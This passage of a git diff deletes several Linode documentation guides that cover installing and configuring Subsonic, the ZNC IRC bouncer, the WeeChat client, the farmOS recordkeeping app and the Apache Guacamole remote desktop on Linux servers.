![First time Subsonic access](subsonic-gettingstarted.png) - -5. Create a password for your admin account. You can also set up any other accounts at this time. - - {{< note respectIndent=false >}} -Passwords in the Subsonic database are stored in hex format, but not encrypted. -{{< /note >}} - -6. Click on the **Media folders** link and point Subsonic to where you will store your music. If you used the default directory (`/var/music`) above, you can skip this step. Once you've pointed Subsonic to the correct directory and uploaded your music, you can press **Scan media folders now**. Subsonic will then create a database of music files. - - ![First time Subsonic access](subsonic-foldersetup.png) - -  - -![The Subsonic Interface.](subsonic-setup.png) - -## Next Steps - -Subsonic can be [configured to use SSL](http://www.subsonic.org/pages/getting-started.jsp), or you can use an [NGINX reverse proxy](/cloud/guides/use-nginx-reverse-proxy/). diff --git a/docs/guides/applications/messaging/install-znc-debian/index.md b/docs/guides/applications/messaging/install-znc-debian/index.md deleted file mode 100644 index 9e673688d65..00000000000 --- a/docs/guides/applications/messaging/install-znc-debian/index.md +++ /dev/null @@ -1,210 +0,0 @@ ---- -slug: install-znc-debian -title: 'Install ZNC from Source on Debian' -description: 'This guide shows how to install the open-source application ZNC, a IRC bouncer designed to run on a server that remains connected to IRC, on a Linode.' -authors: ["Alex Fornuto"] -contributors: ["Alex Fornuto"] -published: 2014-08-21 -modified: 2015-06-04 -keywords: ["install znc", "irc bouncer", "znc on debian", "configure znc", "znc"] -tags: ["debian"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/messaging/install-znc-debian/'] ---- - -ZNC is an IRC bouncer. It's designed to run on a server that remains connected to an IRC network and buffer messages. With ZNC, a local IRC client can connect and disconnect without losing a chat session or missing any messages. In this guide, ZNC will be installed from source and then configured. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. Make sure the system is up to date: - - sudo apt-get update && sudo apt-get upgrade -y - -2. Install the `build-essential` and `checkinstall` packages: - - sudo apt-get install build-essential checkinstall - -3. If you want to use SSL encryption to connect to the web interface (recommended), install `libssl-dev`: - - sudo apt-get install libssl-dev - -## Install ZNC - -1. Download the latest version of ZNC (1.6.0 at the time of writing): - - wget http://znc.in/releases/znc-1.6.0.tar.gz - -2. Expand the archive file: - - tar -xvf znc-1.*.tar.gz - -3. Move into the ZNC directory: - - cd znc-1.6.0 - -4. Run the `configure` script to make sure the Linode has all the needed prerequisites: - - ./configure - - If not, you will need to install any missing packages prior to continuing. - -5. Install ZNC: - - make - sudo checkinstall --fstrans=0 make install - - {{< note respectIndent=false >}} -The program `checkinstall` creates a `.deb` package which you can use to reinstall this version of ZNC in the future. It has its own set of options to review. If you prefer, you can instead run `sudo make install` to install ZNC as is. -{{< /note >}} - -## Configure ZNC - - -1. Begin the configuration process: - - znc --makeconf - - -2. This will launch an interactive script asking you for input on a variety of parameters. Below is an example output of the `makeconf` script with standard options selected. To match your needs, you can use or change the provided input at your discretion. If you're not sure, use the default option. Many of these options can be adjusted later through the web interface. - - {{< note respectIndent=false >}} -Make sure to change the `username` variable. -{{< /note >}} - - [ .. ] Checking for list of available modules... - [ >> ] ok - [ ** ] Building new config - [ ** ] - [ ** ] First let's start with some global settings... - [ ** ] - [ ?? ] What port would you like ZNC to listen on? (1025 to 65535): 5678 - [ ?? ] Would you like ZNC to listen using SSL? (yes/no) [no]: yes - [ ?? ] Would you like ZNC to listen using both IPv4 and IPv6? (yes/no) [yes]: - [ .. ] Verifying the listener... - [ >> ] ok - [ ** ] - [ ** ] -- Global Modules -- - [ ** ] - [ ** ] +-----------+----------------------------------------------------------+ - [ ** ] | Name | Description | - [ ** ] +-----------+----------------------------------------------------------+ - [ ** ] | partyline | Internal channels and queries for users connected to znc | - [ ** ] | webadmin | Web based administration module | - [ ** ] +-----------+----------------------------------------------------------+ - [ ** ] And 9 other (uncommon) modules. You can enable those later. - [ ** ] - [ ?? ] Load global module ? (yes/no) [no]: - [ ?? ] Load global module ? (yes/no) [no]: yes - [ ** ] - [ ** ] Now we need to set up a user... - [ ** ] - [ ?? ] Username (AlphaNumeric): user - [ ?? ] Enter Password: - [ ?? ] Confirm Password: - [ ?? ] Would you like this user to be an admin? (yes/no) [yes]: - [ ?? ] Nick [user]: user - [ ?? ] Alt Nick [user_]: - [ ?? ] Ident [user]: - [ ?? ] Real Name [Got ZNC?]: - [ ?? ] Bind Host (optional): - [ ** ] Enabled user modules [chansaver, controlpanel] - [ ** ] - [ ?? ] Set up a network? (yes/no) [yes]: - [ ** ] - [ ** ] -- Network settings -- - [ ** ] - [ ?? ] Name [freenode]: - [ ?? ] Server host [chat.freenode.net]: - [ ?? ] Server uses SSL? (yes/no) [yes]: - [ ?? ] Server port (1 to 65535) [6697]: - [ ?? ] Server password (probably empty): - [ ?? ] Initial channels: - [ ** ] Enabled network modules [simple_away] - [ ** ] - [ .. ] Writing config [/home/elle/.znc/configs/znc.conf]... - [ >> ] ok - [ ** ] - [ ** ] To connect to this ZNC you need to connect to it as your IRC server - [ ** ] using the port that you supplied. You have to supply your login info - [ ** ] as the IRC server password like this: user/network:pass. - [ ** ] - [ ** ] Try something like this in your IRC client... - [ ** ] /server +5678 user: - [ ** ] - [ ** ] To manage settings, users and networks, point your web browser to - [ ** ] https://:5678/ - [ ** ] - [ ?? ] Launch ZNC now? (yes/no) [yes]: - [ .. ] Opening config [/home/elle/.znc/configs/znc.conf]... - [ >> ] ok - [ .. ] Loading global module [webadmin]... - [ >> ] [/usr/local/lib/znc/webadmin.so] - [ .. ] Binding to port [+5678]... - [ >> ] ok - [ ** ] Loading user [user] - [ ** ] Loading network [freenode] - [ .. ] Loading network module [simple_away]... - [ >> ] [/usr/local/lib/znc/simple_away.so] - [ .. ] Adding server [chat.freenode.net +6697 ]... - [ >> ] ok - [ .. ] Loading user module [chansaver]... - [ >> ] ok - [ .. ] Loading user module [controlpanel]... - [ >> ] ok - [ .. ] Forking into the background... - [ >> ] [pid: 27369] - [ ** ] ZNC - 1.6.0 - http://znc.in - - Once you've completed the configuration and launched ZNC, you can access the web interface by going to your Linode's IP address in your web browser. Be sure to specify the port you defined during the configuration script and prefix it with `https://` . - - {{< note respectIndent=false >}} -If the [Firewall portion](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) of the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide has been completed, add a line to `/etc/iptables.firewall.rules` allowing traffic to your IRC port. -{{< /note >}} - - - ![ZNC's Web Admin](znc-web-admin.png) - -## Connect to The Client - -### HexChat ### - -You can use any preferred GUI or CLI client to connect to ZNC. For the example below, we'll be using [HexChat](https://hexchat.github.io/index.html). - -1. Open HexChat, add your desired nicknames, and then create a new network. In this example, the network is called **ZNCserver**: - - ![ZNC](znc-hexchat-1.png) - -2. With **ZNCserver** selected, click `Edit...`. - -3. Add your server's IP address and port to the list. If not using a signed certificate, select *Accept invalid SSL certificated*. Input your password: - - ![ZNC](znc-hexchat-2.png) - - Close the window when done. - -3. Press **Connect**. You should be connected to your ZNC server and from there to any networks and channels you've configured to autojoin. - -### Konversation ### - -1. Open Konversation, click 'New...' - - ![ZNC](znc-konversation-1.png) - -2. Enter a name for the new network. For this example the network is **linode-znc**. Then click 'Add...' to open the dialog to add the server. - - ![ZNC](znc-konversation-2.png) - -3. Now enter your network details such as IP Address, Port number, and password. - - ![ZNC](znc-konversation-3.png) - - -## SSL Encryption with a Signed Certificate (Optional) - -If you would like to use a signed certificate to encrypt your connection to ZNC, you can do so by adding your key and certificate to the `znc.pem` file: - - cat domain.key domain.crt > znc.pem diff --git a/docs/guides/applications/messaging/using-weechat-for-irc/index.md b/docs/guides/applications/messaging/using-weechat-for-irc/index.md deleted file mode 100644 index 9d66904035e..00000000000 --- a/docs/guides/applications/messaging/using-weechat-for-irc/index.md +++ /dev/null @@ -1,251 +0,0 @@ ---- -slug: using-weechat-for-irc -title: 'Using WeeChat for Internet Relay Chat' -description: 'Use WeeChat and GNU Screen to create and maintain connections to IRC networks' -authors: ["Samuel Damashek"] -contributors: ["Samuel Damashek"] -published: 2014-08-27 -modified: 2016-03-10 -keywords: ["weechat", "irc", "oftc", "real time", "chat"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[WeeChat Home Page](http://www.weechat.org/)' - - '[GNU Screen](http://www.gnu.org/software/screen/)' - - '[Screen for Persistent Terminal Sessions](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/)' -aliases: ['/applications/messaging/using-weechat-for-irc/'] ---- - -[WeeChat](https://weechat.org/) is a multi-platform, terminal-based Internet Relay Chat (IRC) client written in C. Weechat is intended to be flexible and extensible, and thus has all sorts of plugins written in different languages including Python, Perl, and Ruby. - -Many users prefer WeeChat over other graphical and terminal-based clients because of its many features and its customizability. One advantage of terminal-based clients over graphical IRC clients is the ability to detach from your WeeChat instance and come back later, locally or remotely, using a terminal multiplexer such as [Screen](https://www.gnu.org/software/screen/) or [tmux](/cloud/guides/persistent-terminal-sessions-with-tmux/). - -WeeChat is usually run in a terminal emulator. It may be run either on your computer, a Linode instance, or any computer running a supported platform. If you run WeeChat on your Linode, you can access WeeChat at any time from any system simply by connecting via SSH and attaching to your Screen or tmux instance. This guide assumes you have read [Using The Terminal](/cloud/guides/using-the-terminal/) and [Linux System Administration Basics](/cloud/guides/linux-system-administration-basics/), along with the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance). - -## What is IRC? - -Internet Relay Chat (IRC) is a protocol that is used to create IRC "networks," sets of IRC servers that can be connected to using IRC clients. Networks are usually independent. Inside a network, there are many channels which can be joined by users. Usually anybody can create a channel. Channels are usually prefixed with hash signs (**#**), and sometimes contain multiple hash signs to represent different types of channels. Individual users can also chat with each other privately using private messages. Many Linode customers use IRC to get technical help and exchange knowledge. - -The official Linode channel is **#linode** on the OFTC network (**irc.oftc.net**). - -On IRC, users are classified by four characteristics: - - * Nickname, a unique user-chosen string which is shown as their handle. - * Username, a separate string from the nickname which is provided by the user. Does not have to be unique. - * Host, the IP or hostname from which a user is connecting. - * Real Name, an optional argument containing your name (spaces are allowed) - -A user is often represented as `nickname!username@host`. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Using GNU Screen - -GNU Screen allows you to start WeeChat and leave it running, even if you disconnect from your Linode. We recommend running WeeChat in Screen, so our instructions include Screen-specific commands. For more information, see [Using GNU Screen to Manage Persistent Terminal Sessions](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/). - -## Installing WeeChat - -Below are instructions for installing WeeChat and Screen on different Linux distributions and operating systems. - -### Arch Linux - - sudo pacman -S weechat screen - -### CentOS - - sudo yum install weechat screen - -### Debian / Ubuntu - -WeeChat provides repositories for various Debian and Ubuntu releases. See [their downloads page](https://weechat.org/download/debian/) for the repo addresses. The repo address for your version should look similar to `https://weechat.org/distribution version sid main`. Debian and Ubuntu both include Screen by default. - -Using the address you found above, create a file so that your system knows where to check for the correct version of WeeChat, substituting the actual repo address for `address`: - - echo "address" | sudo tee /etc/apt/sources.list.d/weechat.list - -You are now ready to install WeeChat: - - sudo apt-get install weechat - -### Fedora - - sudo dnf install weechat screen - -### Mac OS X (HomeBrew) - - brew update - brew install screen - brew install weechat - -### Mac OS X (MacPorts) - - port install screen - port install weechat - -### Windows (Cygwin) - -1. Install Cygwin. Ensure that subversion and wget are marked to be included during the installation process - -2. Install apt-cyg with the following commands - - svn --force export http://apt-cyg.googlecode.com/svn/trunk/ /bin/ - chmod +x /bin/apt-cyg - -3. Install WeeChat using the apt-cyg package - - apt-cyg install weechat - - -## Running WeeChat - -To start WeeChat in a screen on most systems (including Debian 7), run: - - screen weechat-curses - -You should now see the WeeChat chat window. If you don't, try running `screen weechat` instead of `screen weechat-curses`. - -When you first launch WeeChat, it automatically creates a configuration file in `~/.weechat`. - -## Using WeeChat - -### Adding and Connecting to a Server - -To add a server (in this case the OFTC network), you will use the `/server` command. - - /server add oftc irc.oftc.net/6697 -ssl -autoconnect - -This adds a server named "oftc" with hostname "irc.oftc.net" connecting on port 6697. WeeChat will connect using SSL and will automatically connect when you start WeeChat. Once you define the server, you can run: - - /connect oftc - -This will tell WeeChat to connect to the server you just set up. - -To disconnect, run: - - /disconnect oftc - -### Joining and Parting Channels - -To join a channel, run: - - /join channel - -For example, `/join #linode`. - -Make sure to run join/part commands in the proper server window. You can use **ALT+X** to switch server windows. - -To part, or leave, a channel, run: - - /part channel - -For example, `/part #linode`. - -### Switching Channels/Buffers - -If you have mouse support enabled and also have installed buffers.pl (see the WeeChat Commands section below), then you can simply click on buffers you have joined then type messages in the bottom bar. Pressing **Enter** will submit your message. - -Otherwise, you can use `/buffer` to switch between buffers by number or name. For example, `/buffer 1` will switch to buffer 1, while `/buffer #linode` will switch to the #linode buffer. -You can also press **ALT+number** (**ESC+number** on a Mac), where "number" is 1-9, to switch to that buffer number. **ALT+4** (**ESC+4** on a Mac) will switch to buffer 4. - - - -### Sending Private Messages - -To send a private message to a nickname, run: - - /msg nick message - -For example, to send the message "Have you heard about Linode?" to someone with the nickname `friend`, run: - - /msg friend Have you heard about Linode? - -You can also open a buffer for a nickname with `/query`. This will create a new buffer which you can send and receive messages in to and from a user. For example, `/query friend` will open a conversation with "friend". - -### Changing your Nickname - -To change your nickname after you have connected, run: - - /nick newnickname - -Note that this will only work if the new nickname is not already in use. - -### Quitting WeeChat - -To quit WeeChat completely, run: - - /quit - -## Configuring WeeChat - -You usually will not have to directly edit any WeeChat configuration files. Most configuration is done through WeeChat commands. - -### Installing Plugins - -WeeChat has a plugins system which allows you to install different modifications to WeeChat for different use-cases and user preference. In WeeChat versions 0.3.9 and above, a script management system is included. `/script` will open up a list of available and installed scripts. From there, you can follow the instructions to install scripts interactively, or install a script using `/script install` followed by the script name. - -### WeeChat Commands - -All WeeChat commands begin with a **/**. Every channel in WeeChat is a *buffer*. Servers are also buffers. By default, WeeChat does not include a list of buffers, but you may install a plugin that does. The buffers.pl plugin is recommended and displays a list of buffers on the left of the screen. This allows you to see what channels and servers you are in without having to remember special commands. - - /script install buffers.pl - -`/mouse enable` will enable mouse support, which allows you to scroll as well as click buffers to change channels and servers. - -A list of basic commands is below. - -| Command | Description | -| -------- | ------------------------------------------------------------------------------- | -| `/help` | Lists commands, if a command is given then shows command usage and description | -| `/join` | Joins a channel | -| `/close` | Closes a buffer, parting the channel if you are in it | -| `/quit` | Quit WeeChat | -| `/msg` | Send a message to a nick (or channel) | -| `/query` | Opens a private buffer with a nick | -| `/ban` | Ban a user from a channel | -| `/unban` | Unban a user from a channel | -| `/kick` | Kick a user from a channel | -| `/kickban` | Kick and ban a user from a channel | -| `/part` | Parts a channel but does not close the buffers | -| `/topic` | Sets channel topic | -| `/whois` | Shows information about a user | - -### Setting Default Channels - -WeeChat uses the `/set` command to manipulate WeeChat settings. It allows you to change many different attributes about WeeChat, including appearance and functionality. - -You can tell WeeChat to automatically connect to some channels when it connects to a server using the `irc.server.name.autojoin` setting substituting the server to which you are connected for `name`. In the above configuration, we connected to `oftc`. This setting should be a comma separated list of channels to join. For example, if I want to join #linode when I connect to the oftc network, I would run: - - /set irc.server.oftc.autojoin "#linode" - -Then, whenever I connect to the `oftc` server, I will automatically join #linode. - -### Setting Default Nickname, Username, and Real Name - -Setting the default nickname, username, and real name is just as simple. To set your default nickname, run: - - /set irc.server_default.nicks "nickname" - -You can also specify backup nicknames in case the one you want is taken when you connect. - - /set irc.server_default.nicks "nickname,othernickname" - -Setting the default username: - - /set irc.server_default.username "username" - -Setting the default real name: - - /set irc.server_default.realname "realname" - -## Accessing your WeeChat instance - -If you ran WeeChat in a screen as specified above, you have the ability to detach from your WeeChat instance and to reattach later. To detach from the screen, press **CTRL+A**, then **D**. To reattach to your screen, run **screen -r**. You can reattach to your screen even if you have logged out from your Linode instance and connected later. diff --git a/docs/guides/applications/project-management/install-farmos/index.md b/docs/guides/applications/project-management/install-farmos/index.md deleted file mode 100644 index 3fd5a08602e..00000000000 --- a/docs/guides/applications/project-management/install-farmos/index.md +++ /dev/null @@ -1,153 +0,0 @@ ---- -slug: install-farmos -title: 'How to Install farmOS - a Farm Recordkeeping Application' -description: 'This guide shows you how to prepare a system for, then install and set up the agribusiness management web app, farmOS.' -authors: ["Angel Guarisma"] -contributors: ["Angel Guarisma"] -published: 2017-09-09 -modified: 2021-06-22 -keywords: ["farmos", "Drupal", "LAMP"] -tags: ["drupal", "lamp", "cms"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/project-management/install-farmos/'] ---- - -![Farm_OS Banner](FarmOS.png) - -## What is farmOS? - -[farmOS](http://farmos.org/) is a one-of-a-kind web application that enables farmers to manage and track all aspects of their farm. Built atop Drupal and licensed under [GPL V.3](https://www.gnu.org/licenses/gpl-3.0.en.html), farmOS is a great free-software solution for farms to explore. - -This guide explains how to install, setup and host your own farmOS web app on a Linode using Ubuntu 20.04. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for [setting your Linode's hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [timezone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -1. Follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to [create a standard user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account), [harden SSH access](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#harden-ssh-access), and [create firewall rules](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-firewall) for your web server; you may need to make additional firewall exceptions for your specific application. - - {{% content "limited-user-note-shortguide" %}} - -1. Install and configure a [LAMP stack on Ubuntu 20.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-20-04/). Skip the configuration steps for setting up MySQL and use the steps outlined in this guide instead. - -## MySQL Setup - -1. Configure your database for PHP. When prompted, choose the `apache2` web server for automatic configuration, `Yes` to automatically configure a database, then enter and confirm your database root password: - - sudo apt install php-mysql phpmyadmin - -1. Log in to MariaDB with your database root password: - - mysql -u root -p - -1. Create a database and a database user with necessary privileges, replacing `secure_password` with a password of your choice: - - CREATE DATABASE farmdb; - CREATE USER 'farm_user'@'localhost' IDENTIFIED BY 'secure_password'; - GRANT ALL PRIVILEGES ON farmdb.* TO 'farm_user'@'localhost'; - FLUSH PRIVILEGES; - - -1. Exit MariaDB: - - quit - -## Download and Install farmOS - -1. Navigate to your site's document root. If you installed and configured your Apache server using our [LAMP stack on Ubuntu 20.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-20-04/) guide, your document root should be located in the `/var/www/html/example.com/public_html/` directory. Replace `example.com` with your own document root path's name. - - cd /var/www/html/example.com - -1. Download the farmOS tarball. As of writing this guide, farmOS 7.x-1.7 is the latest version. See [Drupal's download page](https://www.drupal.org/project/farm) for their latest core tarball. - - sudo wget https://ftp.drupal.org/files/projects/farm-7.x-1.7-core.tar.gz - - {{< note type="alert" respectIndent=false >}} -Ensure that the version number matches the farmOS version you wish to download. -{{< /note >}} - -1. Extract the downloaded tarball's contents into your site's document root: - - sudo tar -zxvf farm-7.x-1.7-core.tar.gz -C public_html --strip-components=1 - -1. farmOS depends on a PHP graphics library called GD. Install GD and other dependencies: - - sudo apt install php-gd php-xml php-xmlrpc - -## Configure Apache 2.4 - -1. Enable Apache's [rewrite module](https://httpd.apache.org/docs/current/mod/mod_rewrite.html). This module is necessary since farmOS enables [Clean URLs](https://www.drupal.org/getting-started/clean-urls) by default. - - sudo a2enmod rewrite - -1. Specify the rewrite conditions for your farmOS site's document root in Apache's configuration file using the text editor of your choice. If you installed and configured your Apache server using [LAMP stack on Ubuntu 20.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-20-04/) guide, the configuration file for your site is located at `/etc/apache2/sites-available/example.com.conf`. - - {{< file "/etc/apache2/sites-available/example.com.conf" conf >}} - - Options Indexes FollowSymLinks - AllowOverride All - Require all granted - RewriteEngine on - RewriteBase / - RewriteCond %{REQUEST_FILENAME} !-f - RewriteCond %{REQUEST_FILENAME} !-d - RewriteRule ^(.*)$ index.php?q=$1 [L,QSA] - -{{< /file >}} - -1. Change the ownership of your site's document root from `root` to `www-data`. This allows you to install modules and themes, and to update Drupal, without being prompted for FTP credentials. - - sudo chown -R www-data:www-data /var/www/html/example.com - -1. Restart Apache so all changes are applied. - - sudo systemctl restart apache2 - -## Configure farmOS - -1. Go to your Linode's domain or [IP address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance) in a web browser. This shows you the first step of the farmOS/Drupal web configuration. - -1. The first screen you encounter asks you to choose a profile and a language: - - ![farmOS first screen](firstscreen.png) - -1. Drupal checks if the installation is correct in the **Verify requirements** section. Then, it will move to configuring the database. In this section you should input the information from the database built earlier in this tutorial: - - ![Database Configuration](second.png) - -1. Once farmOS hooks into the database, configure your farmOS site. This is where you define the name and the main user account: - - ![Configure](configure.png) - -1. The next section asks you what modules you want to install. You can install and uninstall modules at any time, but this is a chance to install personalized modules that work for your specific type of farm. - - ![modules](modules.png) - -1. Finally, after installing the modules, you are dropped into the farmOS dashboard: - - ![welcome](welcome.png) - -1. After the installation has finished, you may want to reset your file permissions to avoid security vulnerabilities from your site's document root. If you installed and configured your Apache server using our [LAMP stack on Ubuntu 20.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-20-04/) guide, your document root should be located in the `/var/www/html/example.com/public_html/` directory: - - sudo chmod 644 sites/default - sudo chmod 644 ./sites/default/settings.php - -## Add Users - -To add users to your farmOS distribution, you can do so from the **People** tab under **Manage**. - - ![Add user](Adduser.png) - -After each user is created, use the **People** tab to verify success: - - ![People screen](peoplescreen.png) - -## Next Steps - -### Registering a Domain Name for farmOS - -To register a domain name (e.g., `yourfarm.com`), check out our guide on the [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) and add your FQDN (e.g., `farmos.yourfarm.com`) to the Linode Manager. A FQDN provides you, and the people who plan on using farmOS, the ability to navigate to a URL instead of your Linode's public IP address. If you plan on using farmOS internally, you can skip this step. - -### Generate a Google API Key - -farmOS can interface with GoogleMaps. You need a GoogleAPI key to use this feature. The farmOS official documentation has a section about using GoogleMaps in its [docs](https://farmos.org/hosting/apikeys/). Interfacing with GoogleMaps allows you to save certain geographical areas into farmOS. When creating farmOS projects and tasks, you can use the Google Maps API to pinpoint where the task takes place. diff --git a/docs/guides/applications/remote-desktop/remote-cloud-desktop-using-apache-guacamole/index.md b/docs/guides/applications/remote-desktop/remote-cloud-desktop-using-apache-guacamole/index.md deleted file mode 100644 index f08e04e601e..00000000000 --- a/docs/guides/applications/remote-desktop/remote-cloud-desktop-using-apache-guacamole/index.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -slug: remote-cloud-desktop-using-apache-guacamole -title: "Using a Cloud Desktop on a Browser with Apache Guacamole" -description: "Instruction on using Apache Guacamole to access a remote server's virtual desktop from a browser." -authors: ["Matt Wildman","Linode"] -contributors: ["Matt Wildman","Linode"] -published: 2017-11-17 -modified: 2021-09-08 -keywords: ["remote desktop", "Apache Guacamole", "TeamViewer", "VNC", "Chrome OS", "xfce", "unity"] -tags: ["docker", "mysql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Apache Guacamole](https://guacamole.incubator.apache.org/)' - - '[Apache Tomcat](https://tomcat.apache.org/)' -aliases: ['/applications/remote-desktop/remote-desktop-using-apache-guacamole-on-docker/','/guides/remote-desktop-using-apache-guacamole-on-docker/'] ---- - -![Virtual Cloud Desktop Using Apache Guacamole](Apache_Guacamole.jpg) - -Apache Guacamole is an HTML5 application useful for accessing a remote desktop through RDP, VNC, and other protocols. You can create a virtual cloud desktop where applications can be accessed through a web browser. This guide will cover the installation of Apache Guacamole through Docker, then access a remote desktop environment hosted on a Linode. - -## Install Apache Guacamole - -Apache Guacamole can be installed and configured on a Linode Compute Instance using one of the following methods: - -1. **Akamai Quick Deploy Apps:** Deploy the [Apache Guacamole App](https://www.linode.com/marketplace/apps/linode/apache-guacamole/) through Akamai Quick Deploy Apps to automatically install Guacamole, VNC software, and a desktop environment. This is the easiest method and enables you to quickly get up and running without needing to install and configure everything manually. Just note, when choosing this method you are limited to the Distribution Images supported by the Quick Deploy App. - -1. **Docker:** Alternatively, you can deploy Apache Guacamole's Docker images and manually configure the software yourself. This method strikes a balance between ease of installation and custom configuration. It may be more advanced, but provides you with greater control over your environment and configuration. See [Installing Apache Guacamole through Docker](/cloud/guides/installing-apache-guacamole-through-docker/) for instructions. - -1. **Natively:** For maximum control over every step of the installation process, Apache Guacamole can be manually installed on your system from source. This is the most advanced method. If choosing this method, review [Installing Apache Guacamole on Ubuntu and Debian](/cloud/guides/installing-apache-guacamole-on-ubuntu-and-debian/) and then return to this guide. You can also see [Installing Guacamole natively](https://guacamole.apache.org/doc/gug/installing-guacamole.html) on the official documentation for additional instructions. - -## Setting Up VNC and a Desktop Environment - -Before you're able to remotely connect to your server's desktop, a desktop environment and VNC server must be installed. - -1. **Install your preferred desktop environment**, such as Xfce, Gnome, KDE, or Unity. A desktop environment is the GUI used to interact with the system, typically through cascading windows (such as Windows and macOS). Most Linux server-based distributions (like those for deployment on Linode) do not come with one pre-installed. The installation and configuration for a desktop environment depends on the environment you chose and the distribution you are running. The following instructions should work on modern Ubuntu distributions: - - **Xfce:** This is a lightweight desktop environment that's a good choice for users of 1GB or 2GB Compute Instances. - - sudo apt install xfce4 xfce4-goodies - - **Unity:** The default feature-rich desktop environment for modern Ubuntu distributions. Unity is more resource intensive and requires a Compute Instance with 4GB of memory or more. - - sudo apt install --no-install-recommends ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal - -1. **Install a VNC server.** This guide uses tightvncserver but other options (such as tigervnc, x11vnc, and vino) should also work. See the "Which VNC Server?" section on the [Configuring Guacamole](https://guacamole.apache.org/doc/0.9.1/gug/configuring-guacamole.html) guide if you'd like to explore other software. - - sudo apt install tightvncserver - -1. Start the VNC server. This prompts you for a secure password that's no longer than 8 characters. - - vncserver - - For setups requiring more security, deploying Guacamole as a [reverse proxy with SSL encryption is highly recommended](https://guacamole.incubator.apache.org/doc/gug/proxying-guacamole.html). - -1. Ensure to start the desktop environment with `.vnc/xstartup` otherwise only a gray screen will be displayed. - - echo 'startxfce4 &' | tee -a .vnc/xstartup - - Alternate Unity configuration example: - - {{< file "~/.vnc/xstartup" bash >}} -#!/bin/sh - -xrdb $HOME/.Xresources -xsetroot -solid grey -#x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" & -#x-window-manager & -# Fix to make GNOME work -export XKL_XMODMAP_DISABLE=1 -/etc/X11/Xsession - -gnome-panel & -gnome-settings-daemon & -metacity & -nautilus & -{{< / file >}} - -## Opening Guacamole in a Browser - -1. Before connecting to the VNC server, create an SSH tunnel replacing `user` and `example.com` with the Linode's user and public IP. - - ssh -L 5901:localhost:5901 -N -f -l user example.com - -1. Connect to the VNC server and if `example-guacamole`, `example-guacd`, and `example-mysql` are all running, navigate to `localhost:8080/guacamole/`. The default login credentials are `guacadmin` and password `guacadmin`. This should be changed as soon as possible. - - ![Guacamole Login](guac_login.png) - -{{< note >}} -After you connect to the VNC server if you are not able to open the default browser such as the `Debian Sensible Browser` and see `Failed to Execute Default Web Browser. Input/Output error`, then try installing a different browser such as `FireFox` or others. -{{< /note >}} - -## New Connection in Guacamole - -VNC, RDP, SSH, and Telnet are supported. This section of the guide will show how to navigate the browser interface and add a new connection. - -1. In the Guacamole dashboard, click the top right drop down menu and select *Settings*. Under *Connections*, press the *New Connection* button. - - ![Guacamole Settings](guac_settings.png) - -1. Under **Edit Connection**, choose a name. Under **Parameters**, the hostname is the public IP of the Linode. The port is 5900 plus the display number - in this case, port 5901. Enter the 8 character password. - - ![Guacamole VNC Configuration](guac_vnc_config.png) - - The [official documentation](https://guacamole.incubator.apache.org/doc/gug/configuring-guacamole.html#vnc) has detailed descriptions of all parameter names. - - {{< note respectIndent=false >}} -If you have multiple displays running on the same Linode, increment the port number for each display: 5902, 5903, etc. If your remote displays are hosted on different Linodes, each display should still use port 5901. -{{< / note >}} - -1. From the top right drop down menu, click *Home*. The new connection is now available. - - **CTRL** + **ALT** + **SHIFT** - Opens menu for clipboard, keyboard/mouse settings, and the navigation menu. - - ![Guacamole Drop Down](guac_menu.png) - -1. Press back on the browser to return to the *Home* menu. - -1. Additional connections can be made, and simultaneous connections can be made in new browser tabs. - - ![Guacamole Recent Connections](guac_recent.png) - -This guide aimed to streamline the installation process and demonstrate remote desktop with Apache Guacamole as quickly as possible. There are many features such as screen recording, two factor authentication with Duo, file transfer via 